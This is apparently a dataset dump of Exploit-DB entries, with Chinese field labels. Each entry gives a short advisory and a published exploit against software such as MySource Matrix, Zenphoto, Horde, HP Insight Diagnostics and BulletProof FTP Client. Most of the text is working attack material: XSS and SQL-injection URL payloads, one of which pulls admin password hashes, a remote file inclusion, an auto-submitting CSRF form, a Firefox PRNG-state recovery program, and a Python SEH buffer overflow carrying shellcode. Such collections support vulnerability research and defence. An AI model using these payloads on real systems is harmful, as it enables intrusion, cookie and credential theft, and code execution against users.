QLWD/code_shield huggingface dataset:
标题: MySource Matrix - 'char_map.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34609 CVE: 2010-4901 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43020/info

MySource Matrix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects MySource Matrix 3.28.3; other versions may also be affected.

http://www.example.com/fudge/wysiwyg/plugins/special_chars/char_map.php?width=233%3C/script%3E&height=233%3Cscript%3Ealert%28%27zsl%27%29%3C%2fscript%3E URL: https://www.exploit-db.com/exploits/34609
标题: ZenPhoto 1.3 - '/zp-core/admin.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34611 CVE: 2010-4907 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43021/info
 
Zenphoto is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zenphoto 1.3 is vulnerable; other versions may also be affected.

/zenphoto_1_3/zp-core/admin.php?from=%22%20onmouseover%3dprompt%28934419%29%20bad%3d%22 URL: https://www.exploit-db.com/exploits/34611
标题: Mozilla Firefox 3.6.8 - 'Math.random()' Cross Domain Information Disclosure EDB-ID: 34621 CVE: 2010-3171 类型: REMOTE 平台: UNIX 发布日期: 2010-09-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/43222/info

Mozilla Firefox is prone to a cross-domain information-disclosure vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible. 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
typedef unsigned long long int uint64;
typedef unsigned int uint32;
#define UINT64(x) (x##ULL)
#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)
uint64 adv(uint64 x)
{
      return (a*x+b) & ((UINT64(1)<<48)-1);
}
unsigned int  calc(double sample,uint64* state)
{
      int v;
      uint64  sample_int=sample*((double)(UINT64(1)<<53));
      uint32  x1=sample_int>>27;
      uint32  x2=sample_int & ((1<<27)-1);
      uint32  out;
      if ((sample>=1.0) || (sample<0.0))
      {
            // Error - bad input
            return 1;
      }
      for (v=0;v<(1<<22);v++)
      {
            *state=adv((((uint64)x1)<<22)|v);
            out=((*state)>>(48-27))&((1<<27)-1);
            if (out==x2)
            {
                   return 0;
            }
      }
      // Could not find PRNG internal state
      return 2;
}
int main(int argc, char* argv[])
{
      char body[1000]="";
char head[]="\
      <html>\
      <body>\
      <script>\
      document.write('userAgent: '+navigator.userAgent);\
      </script>\
      <br>\
      ";
char tail[]="\
      <form method='GET' onSubmit='f()'>\
      <input type='hidden' name='r'>\
      <input id='x' type='submit' name='dummy'\
            value='Calculate Firefox 3.6.4-3.6.8 PRNG state'>\
      </form>\
      <script>\
      function f()\
      {\
            document.forms[0].r.value=Math.random();\
      }\
      </script>\
      </body>\
      </html>\
      ";
char tail2[]="\
      </body>\
      </html>\
      ";
double r;
char msg[1000];
int rc;
uint64 state;
strcat(body,head);
if (strstr(getenv("QUERY_STRING"),"r=")!=NULL)
{
      sscanf(getenv("QUERY_STRING"),"r=%lf",&r);
      rc=calc(r,&state);
      if (rc==0)
      {
            sprintf(msg,"PRNG state (hex): %012llx\n",state);
            strcat(body,msg);
      }
      else
      {
            sprintf(msg,"Error in calc(): %d\n",rc);
            strcat(body,msg);
      }
      strcat(body,tail2);
}
else
{
      strcat(body,tail);
}
printf("Content-Type: text/html\r\n");
printf("Content-Length: %d\r\n",strlen(body));
  printf("Cache-Control: no-cache\r\n");
  printf("\r\n");
  printf("%s",body);
  return;
} URL: https://www.exploit-db.com/exploits/34621
标题: Horde Application Framework 3.3.8 - 'icon_browser.php' Cross-Site Scripting EDB-ID: 34605 CVE: 2010-3077 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43001/info

Horde Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to and including Horde 3.3.8.

Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/util/icon_browser.php?subdir=[xss]&app=horde URL: https://www.exploit-db.com/exploits/34605
标题: Match Agency BiZ - 'report.php?pid' Cross-Site Scripting EDB-ID: 34601 CVE: 2009-3359 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/42976/info
 
Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/report.php?pid="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34601
标题: Microsoft Internet Explorer 7/8 - CSS Handling Cross Domain Information Disclosure EDB-ID: 34602 CVE: 2010-3325 类型: DOS 平台: WINDOWS 发布日期: 2010-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/42993/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to enforce the same-origin policy.

An attacker can exploit this issue by enticing an unsuspecting user into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.

This issue affects Internet Explorer 6, 7, and 8. 

<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html> URL: https://www.exploit-db.com/exploits/34602
标题: Match Agency BiZ - 'edit_profile.php?important' Cross-Site Scripting EDB-ID: 34600 CVE: 2009-3359 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/42976/info

Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/edit_profile.php?important="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34600
标题: Datetopia Buy Dating Site - Cross-Site Scripting EDB-ID: 34597 CVE: 2009-3355 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42973/info

Datetopia Buy Dating Site is prone to a cross-site scripting vulnerability because the it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/profile.php?profile_id=568&s_r="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34597
标题: SZNews 2.7 - 'printnews.php3' Remote File Inclusion EDB-ID: 34598 CVE: 2009-3362 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/42974/info

SZNews is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

SZNews 2.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/printnews.php3?id=[shell.txt?] URL: https://www.exploit-db.com/exploits/34598
标题: PhpOnlineChat 3.0 - Cross-Site Scripting EDB-ID: 34555 CVE: 2014-100017 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-07 漏洞利用脚本: # Exploit Title: [phponlinechat xss ]
# Date: [5/9/2014]
# Exploit Author: [N0 Feel]
# Vendor Homepage: [http://phponlinechat.com/phpchat]
# Software Link: [http://phponlinechat.com/chat-free-download.php]
# Version: [3.0]
# Tested on: [win7]

php online chat suffer from xss in user panel

- register as user
- go to : http://path/phpchat/canned_opr.php
- inject javascript evil code into messae filed

demo  :
http://phponlinechat.com/phpchat/canned_opr.php

have fun :) URL: https://www.exploit-db.com/exploits/34555
标题: NuSOAP 0.9.5 - 'nusoap.php' Cross-Site Scripting EDB-ID: 34565 CVE: 2010-3070 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/42959/info

NuSOAP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NuSOAP 0.9.5 is vulnerable; other versions may be affected. 

http://www.example.com/filename.php/1%3CScRiPt%3Eprompt(923395)%3C/ScRiPt%3E" URL: https://www.exploit-db.com/exploits/34565
标题: OneCMS 2.6.1 - 'index.php' Cross-Site Scripting EDB-ID: 34563 CVE: 2010-4877 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/42949/info

OneCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OneCMS version 2.6.1 is vulnerable; others may also be affected. 

http://www.example.com/index.php?load=elite&view=1%3C/title%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34563
标题: CMS WebManager-Pro - 'c.php' SQL Injection EDB-ID: 34564 CVE: 2010-4899 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/42951/info

CMS WebManager-Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/c.php?id=1%20and%20version()=5 URL: https://www.exploit-db.com/exploits/34564
标题: Datemill - 'photo_search.php?st' Cross-Site Scripting EDB-ID: 34549 CVE: 2009-3360 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42896/info
 
Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/friendy/photo_search.php?st="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34549
标题: Datemill - 'photo_view.php?return' Cross-Site Scripting EDB-ID: 34548 CVE: 2009-3360 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42896/info

Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/friendy/photo_view.php?photo_id=13&return="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34548
标题: LoadedCommerce7 - Systemic Query Factory EDB-ID: 34552 CVE: 2014-5140 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-07 漏洞利用脚本: Title:     LoadedCommerce7 Systemic Query Factory Vulnerability

Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt

Credits:   Discovered by Breaking Technology Research Labs 2014-06-30

Reference: CVE-2014-5140 - Assigned 31 June 2014

Timeline:
           Vendor notified - 29 July 2014
           Vendor confirmed exploit 30 July 2014


Severity:           Critical
Attack Complexity:  Minimal
Classification:     SQL injection, unsafe string replacement

Description:

 Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.

Proof of Concept:

 Have a valid customer account and create a new contact in your address book using the following values.


 First name: :entry_lastname,
 Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#

 The new contact will be added to your address book with the admin hash as the contact's street address

Suggested Fix:
 Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at
        https://github.com/tomatocart/TomatoCart-v1/pull/238 URL: https://www.exploit-db.com/exploits/34552
标题: Datemill - 'search.php?st' Cross-Site Scripting EDB-ID: 34550 CVE: 2009-3360 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42896/info
  
Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/friendy/search.php?st="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34550
标题: HP Insight Diagnostics Online Edition 8.4 - 'parameters.php?device' Cross-Site Scripting EDB-ID: 34543 CVE: 2010-3003 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42888/info

HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https:///www.example.com/hpdiags/parameters.php?device="</XSS STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux URL: https://www.exploit-db.com/exploits/34543
标题: HP Insight Diagnostics Online Edition 8.4 - 'globals.php?tabpage' Cross-Site Scripting EDB-ID: 34546 CVE: 2010-3003 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42888/info
   
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/globals.php?tabpage=";alert(1)//
Versions:- 3.0.0.68 linux URL: https://www.exploit-db.com/exploits/34546
标题: HP Insight Diagnostics Online Edition 8.4 - 'survey.php?category' Cross-Site Scripting EDB-ID: 34545 CVE: 2010-3003 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42888/info
  
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/survey.php?category=");//}</XSS/*-*/STYLE=xss:e/**/xpression(location='www.example2.com')>&device=1&filename=Prochec
kup&mount=1&save=1&surveyLevel=1&target=1
Versions:- 3.0.0.68 linux URL: https://www.exploit-db.com/exploits/34545
标题: HP Insight Diagnostics Online Edition 8.4 - 'idstatusframe.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34544 CVE: 2010-3003 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42888/info
 
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/idstatusframe.php?pid="%20</XSS STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux URL: https://www.exploit-db.com/exploits/34544
标题: EncFS 1.6.0 - Flawed CBC/CFB Cryptography Implementation EDB-ID: 34537 CVE: 2010-3073 类型: LOCAL 平台: LINUX 发布日期: 2010-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/42779/info

EncFS is prone to design errors in its cryptographic implementation.

Three flaws have been identified that contribute to a weakening of the protections provided under CBC/CFB cipher mode.

Attackers may leverage these weaknesses to attack encrypted files through watermarking or other techniques. Successful attacks may disclose sensitive information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34537.tar.gz URL: https://www.exploit-db.com/exploits/34537
标题: Auto CMS 1.6 - 'autocms.php' Cross-Site Scripting EDB-ID: 34533 CVE: 2010-4882 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/42764/info

Auto CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Auto CMS 1.6 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/index.php" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="site_name" value="AutoCMS by Roberto Aleman" />
<input type="hidden" name="site_url" value="index.php" />
<input type="hidden" name="sitetitle" value=&#039;AutoCMS by Roberto Aleman"><script>alert("XSS")</script>&#039; />
<input type="hidden" name="admin_email" value="admin@example.com" />
<input type="hidden" name="admin_password" value="" />
<input type="hidden" name="css_file" value="black.css" />
<input type="hidden" name="index_name_link" value="Index" />
<input type="hidden" name="about_name_link" value="About" />
<input type="hidden" name="about_content" value="put about text here" />
<input type="hidden" name="ps_name_link" value="" />
<input type="hidden" name="ps_content" value="put producs and services text here" />
<input type="hidden" name="news_name_link" value="News" />
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />
<input type="hidden" name="contact_name_link" value="Contact" />
<input type="hidden" name="update" value="update" />

</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/34533
标题: BulletProof FTP Client 2010 - Buffer Overflow (SEH) EDB-ID: 34540 CVE: 2014-2973 类型: DOS 平台: WINDOWS 发布日期: 2014-09-05 漏洞利用脚本: # !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit  #
# Date: Sep 05 2014                      #
# Vulnerability Discovery: Gabor Seljan                                       #
# Exploit Author: Robert Kugler                                               #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP                                                       #
# CVE: CVE-2014-2973                      #
#                                                                     #
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-)           #
# The "Enter URL" form is also vulnerable                            #
#-----------------------------------------------------------------------------#

buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
         "\x2E\x65\x78\x65"
         "\x68\x63\x61\x6C"
         "\x63\x8B\xC4\x6A" # 36 bytes
         "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
         "\xfd\xe4\x77\xFF"
         "\xD3\x33\xc0\x50"
  "\xc7\xc0\x8f\x4a"
  "\xe5\x77\xff\xe0")

buffer+= "\x90" * (1000 - len(buffer))

# Just load the "BP Session" and click on "Connect".

file = open("ftpsession.bps","w")
file.write(buffer)
file.close() URL: https://www.exploit-db.com/exploits/34540